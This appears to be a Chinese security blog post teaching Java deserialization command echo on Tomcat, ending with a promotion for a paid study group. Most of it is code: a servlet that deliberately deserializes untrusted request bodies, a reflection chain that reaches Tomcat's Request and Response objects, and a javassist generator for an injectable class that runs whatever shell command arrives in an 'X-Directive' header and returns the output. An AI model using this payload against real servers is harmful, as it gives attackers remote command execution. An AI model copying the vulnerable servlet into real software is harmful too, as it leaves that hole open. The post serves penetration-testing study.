前言

反序列化命令回显和内存马是反序列化漏洞的具体实现,在渗透过程中主要依靠这两种方式来获取目标权限。因此,这是在学习Java反序列化漏洞过程中绕不开的两个点。由于在实战中遇到的环境都是不可预测的,对于渗透从业者来说就要学习各种中间件的回显方式和内存马注入方法。常用的Java反序列化回显的本质上是利用Java反序列化漏洞在服务器上执行Java代码获取Request、Response对象并将命令执行的接口写入返回给请求端。

反序列化回显

Java反序列化回显的方式有多种,比如中间件回显、写文件(css、js、txt等)、报错回显等等。其中,通过获取request对象来实现命令执行的回显方式是目前最为通用和弊端最少的方式。基本思路如下:第一步:寻找存储request对象的全局变量 Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。第二步:半自动化反射搜索全局变量 这一步定位的是requst存储的具体位置,需要搜索requst对象具体存储在全局变量的那个属性里。我们可以通过反射技术遍历全局变量的所有属性的类型,若包含以下关键字可认为是我们要寻找的request对象。要实现以上的过程需要有相当扎实的代码基础和调试阅读能力,因此推荐一款Java内存对象搜索工具java-object-searcher。通过此工具可以快速方便的找到可利用request对象。

Tomcat通用回显

挖掘回显链

环境搭建参考:https://www.cnblogs.com/kibana/p/16084787.html,本次实验环境为JDK1.8、Tomcat8.5.50、idea2020.1,本地搭建环境后使用java-object-searcher 搜索可用request对象,所编写的demo在tomcat7/8上实验通过。给出一个测试例子,在执行反序列化操作处打断点使用java-object-searcher半自动搜索获取利用链。
package
 com.webtest;


import
 javax.servlet.http.HttpServlet;

import
 javax.servlet.http.HttpServletRequest;

import
 javax.servlet.http.HttpServletResponse;

import
 java.io.IOException;

import
 java.io.InputStream;

import
 java.io.ObjectInputStream;


publicclassHelloTestextendsHttpServlet
 {

@Override
protectedvoiddoGet
(HttpServletRequest req, HttpServletResponse resp) 
throws
 IOException {

InputStreamis=
 req.getInputStream();

ObjectInputStreamois=newObjectInputStream
(is);

try
 {

            ois.readObject();

        } 
catch
 (ClassNotFoundException e) {

            e.printStackTrace();

        }

    }

@Override
protectedvoiddoPost
(HttpServletRequest req,HttpServletResponse resp) 
throws
 IOException {

InputStreamis=
 req.getInputStream();

ObjectInputStreamois=newObjectInputStream
(is);

try
 {

            ois.readObject();

        } 
catch
 (ClassNotFoundException e) {

            e.printStackTrace();

        }

    }

}

设置筛选条件如下。
//设置搜索类型包含Request关键字的对象
List<Keyword> keys = 
newArrayList
<>();

keys.add(
newKeyword
.Builder().setField_type(
"Request"
).build());

//定义黑名单
List<Blacklist> blacklists = 
newArrayList
<>();

blacklists.add(
newBlacklist
.Builder().setField_type(
"java.io.File"
).build());

//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFSsearcher=newSearchRequstByBFS
(Thread.currentThread(),keys);

// 设置黑名单
searcher.setBlacklists(blacklists);

//打开调试模式,会生成log日志
searcher.setIs_debug(
true
);

//挖掘深度为20
searcher.setMax_search_depth(
20
);

//设置报告保存位置
searcher.setReport_save_path(
"D:\\apache-tomcat-7.0.94\\bin"
);

searcher.searchObject();
在搜索出的利用链中选择一个进行跟进分析。
TargetObject = {org.apache.tomcat.util.threads.TaskThread} 

    ---> group = {java.lang.ThreadGroup} 

        ---> threads = {class [Ljava.lang.Thread;} 

            ---> [16] = {java.lang.Thread} 

                ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 

                    ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 

                        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 

                            ---> global = {org.apache.coyote.RequestGroupInfo}
通过不断的反射调用最终来到global
Threadthread=
 Thread.currentThread();

ThreadGroupgroup=
 thread.getThreadGroup();

Thread[] threads = group.threads;

Threadt=
 threads[
14
];

Fieldf=
 t.getClass().getDeclaredField(
"target"
);

f.setAccessible(
true
);

Objecttarget=
 f.get(t);

f = target.getClass().getDeclaredField(
"this$0"
);

f.setAccessible(
true
);

Objectthis$0=
 f.get(target);

try
{

    f = 
this
$
0.
getClass().getDeclaredField(
"handler"
);  

}
catch
(NoSuchFieldException e){

    f = 
this
$
0.
getClass().getSuperclass().getSuperclass().getDeclaredField(
"handler"
);

}

f.setAccessible(
true
);

Objecthandler=
 f.get(
this
$
0
);

f = handler.getClass().getDeclaredField(
"global"
);

f.setAccessible(
true
);

Objectglobal=
 f.get(handler);

进而往下可以找到想要的Request对象。
根据利用链获取Request对象获取请求header头特定内容并打印输出。
package
 com.webtest;


import
 javax.servlet.annotation.WebServlet;

import
 javax.servlet.http.HttpServlet;

import
 javax.servlet.http.HttpServletRequest;

import
 javax.servlet.http.HttpServletResponse;





/*

* TargetObject = {org.apache.tomcat.util.threads.TaskThread}

  ---> group = {java.lang.ThreadGroup}

   ---> threads = {class [Ljava.lang.Thread;}

    ---> [16] = {java.lang.Thread}

     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller}

      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint}

         ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler}

          ---> global = {org.apache.coyote.RequestGroupInfo}

          * */


@WebServlet("/demo")
publicclassTestDemoextendsHttpServlet
 {


@Override
protectedvoiddoGet
(HttpServletRequest request, HttpServletResponse response) {


ThreadGroupgroup=
 java.lang.Thread.currentThread().getThreadGroup();

        java.lang.reflect.
Fieldf=null
;

Objectobj=null
;

Stringflag="hello world"
;

Booleansuccess=false
;

try
 {

            f = group.getClass().getDeclaredField(
"threads"
);

            f.setAccessible(
true
);

            Thread[] threads = (Thread[]) f.get(group);

for
 (
inti=0
; i < threads.length; i++) {

Threadt=
 threads[i];

if
 (t == 
null
 ) 
continue
;

if
 (t.getName().contains(
"exec"
) || !t.getName().contains(
"http"
)) 
continue
;

                System.out.println(t.getName());


                f = t.getClass().getDeclaredField(
"target"
);

                f.setAccessible(
true
);

Objecttarget=
 f.get(t);

                System.out.println(target.getClass());


                f = target.getClass().getDeclaredField(
"this$0"
);

                f.setAccessible(
true
);

Objectthis$0=
 f.get(target);

                System.out.println(
this
$
0.
getClass());


try
 {

                    f = 
this
$
0.
getClass().getDeclaredField(
"handler"
);

                }
catch
 (NoSuchFieldException e0){

                    f = 
this
$
0.
getClass().getSuperclass().getSuperclass().getDeclaredField(
"handler"
);

                }

                f.setAccessible(
true
);

Objecthandler=
 f.get(
this
$
0
);


                f = handler.getClass().getDeclaredField(
"global"
);

                f.setAccessible(
true
);

Objectglobal=
 f.get(handler);

                System.out.println(global.getClass());


                f = global.getClass().getDeclaredField(
"processors"
);

                f.setAccessible(
true
);

Objectprocessors=
 f.get(global);

                System.out.println(processors.getClass());


                java.util.
ArrayListprocessorList=
 (java.util.ArrayList) processors;

for
 (
intj=0
; j < processorList.size(); j++) {

Objectprocessor=
 processorList.get(j);

                    System.out.println(processor.getClass());

                    f = processor.getClass().getDeclaredField(
"req"
);

                    f.setAccessible(
true
);

Objectreq=
 f.get(processor);

                    System.out.println(req.getClass());

Objectresp=
 req.getClass().getMethod(
"getResponse"
).invoke(req);

                    System.out.println(resp.getClass());

                    flag = (String) req.getClass().getMethod(
"getHeader"
,
newClass
[]{String.class}).invoke(req,
newObject
[]{
"wuhunantong"
});


if
 (flag != 
null
 && !flag.isEmpty()){

try
 {

Classcls=
 Class.forName(
"org.apache.tomcat.util.buf.ByteChunk"
);

                            obj = cls.newInstance();

                            cls.getDeclaredMethod(
"setBytes"
byte
[].class, 
int
.class, 
int
.class).invoke(obj,flag.getBytes(),
newInteger
(
0
),
newInteger
(flag.getBytes().length));


                            resp.getClass().getDeclaredMethod(
"setStatus"
,
newClass
[]{Integer.TYPE}).invoke(resp,
newObject
[]{
newInteger
(
404
)});

                            resp.getClass().getDeclaredMethod(
"setHeader"
,
newClass
[]{String.class,String.class}).invoke(resp,
newObject
[]{
"flag"
,
"1"
});

                            resp.getClass().getDeclaredMethod(
"doWrite"
,
newClass
[]{cls}).invoke(resp,
newObject
[]{obj});


                        }
catch
 (ClassNotFoundException e1){

Classcls=
 Class.forName(
"java.nio.ByteBuffer"
);

                            obj = cls.getDeclaredMethod(
"wrap"
newClass
[]{
byte
[].class}).invoke(cls, 
newObject
[]{flag.getBytes()});

                            resp.getClass().getDeclaredMethod(
"setStatus"
,
newClass
[]{Integer.TYPE}).invoke(resp,
newObject
[]{
newInteger
(
404
)});

                            resp.getClass().getDeclaredMethod(
"setHeader"
,
newClass
[]{String.class,String.class}).invoke(resp,
newObject
[]{
"flag"
,
"1"
});

                            resp.getClass().getMethod(
"doWrite"
newClass
[]{cls}).invoke(resp, 
newObject
[]{obj});

                        }

                        success = 
true
;

                    }

if
 (success) 
break
;

                }

if
 (success) 
break
;

            }

        } 
catch
 (Exception  e) {


        }

    }

}

适配反序列化利用链

TomcatEcho.java:利用javassit动态生成回显类
package
 util.exploit.templates;




import
 java.io.IOException;

import
 javassist.CannotCompileException;

import
 javassist.ClassClassPath;

import
 javassist.ClassPool;

import
 javassist.CtClass;

import
 javassist.CtMethod;

import
 javassist.CtNewConstructor;

import
 javassist.NotFoundException;

import
 org.apache.xalan.xsltc.runtime.AbstractTranslet;



publicclassTomcatEcho
 {

publicstaticbyte
[] getBytes() 
throws
 CannotCompileException, NotFoundException, IOException {

ClassPoolpool=
 ClassPool.getDefault();


        pool.insertClassPath(
newClassClassPath
(AbstractTranslet.class));


StringclassName="TnT"
 + System.nanoTime();

CtClassctClass=
 pool.makeClass(className);


        ctClass.addMethod(CtMethod.make(
"private static void writeBody(Object var0, byte[] var1) throws Exception {\n        Object var2;\n        Class var3;\n        try {\n            var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n            var2 = var3.newInstance();\n            var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, Integer.TYPE, Integer.TYPE}).invoke(var2, new Object[]{var1, new Integer(0), new Integer(var1.length)});\n            var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n        } catch (NoSuchMethodException var5) {\n            var3 = Class.forName(\"java.nio.ByteBuffer\");\n            var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{var1});\n            var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n        }\n    }"
, ctClass));



        ctClass.addMethod(CtMethod.make(
"private static Object getFV(Object var0, String var1) throws Exception {\n        java.lang.reflect.Field var2 = null;\n        Class var3 = var0.getClass();\n\n        while(var3 != Object.class) {\n            try {\n                var2 = var3.getDeclaredField(var1);\n                break;\n            } catch (NoSuchFieldException var5) {\n                var3 = var3.getSuperclass();\n            }\n        }\n\n        if (var2 == null) {\n            throw new NoSuchFieldException(var1);\n        } else {\n            var2.setAccessible(true);\n            return var2.get(var0);\n        }\n    }"
, ctClass));



        ctClass.addConstructor(CtNewConstructor.make(
"public "
 + className + 
"() throws Exception {\n        boolean var4 = false;\n        Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n\n        for(int var6 = 0; var6 < var5.length; ++var6) {\n            Thread var7 = var5[var6];\n            if (var7 != null) {\n                String var3 = var7.getName();\n                if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n                    Object var1 = getFV(var7, \"target\");\n                    if (var1 instanceof Runnable) {\n                        try {\n                            var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n                        } catch (Exception var13) {\n                            continue;\n                        }\n\n                        java.util.List var9 = (java.util.List)getFV(var1, \"processors\");\n\n                        for(int var10 = 0; var10 < var9.size(); ++var10) {\n                            Object var11 = var9.get(var10);\n                            var1 = getFV(var11, \"req\");\n                            Object var2 = var1.getClass().getMethod(\"getResponse\", new Class[0]).invoke(var1, new Object[0]);\n                            var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{\"X-Test\"});\n                            if (var3 != null && !var3.isEmpty()) {\n                                var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n                                var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{\"X-Test\", var3});\n                                var4 = true;\n                            }\n\n                            var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{\"X-Directive\"});\n                            if (var3 != null && !var3.isEmpty()) {\n                                var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n                                String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n                                writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n                                var4 = true;\n                            }\n\n                            var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{\"showpath\"});\n                            if (var3 != null && !var3.isEmpty()) {\n                                var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n                                writeBody(var2, Thread.currentThread().getContextClassLoader().getResource(\"\").getPath().getBytes());\n                                var4 = true;\n                            }\n\n                            if (var4) break;\n                        }\n\n                        if (var4) break;\n                    }\n                }\n            }\n        }\n    }"
, ctClass));



CtClasssuperC=
 pool.get(AbstractTranslet.class.getName());

        ctClass.setSuperclass(superC);



        ctClass.getClassFile().setMajorVersion(
50
);


return
 ctClass.toBytecode();

    }

}
修改payload.java
修改Gadget.java#creatTemplatesImpl 添加回显支持
本地测试可以正常得到执行回显结果。

参考链接

https://github.com/feihong-cs/Java-Rce-Echo/ https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

工具下载

详细工具可在知识星球下载。

往期推荐
E
N
D
知识星球产品及服务
团队内部平台:潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......
星球分享方向:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享
星球知识wiki:红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......
星球网盘资料:安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......
扫码加入一起学习吧~
继续阅读
阅读原文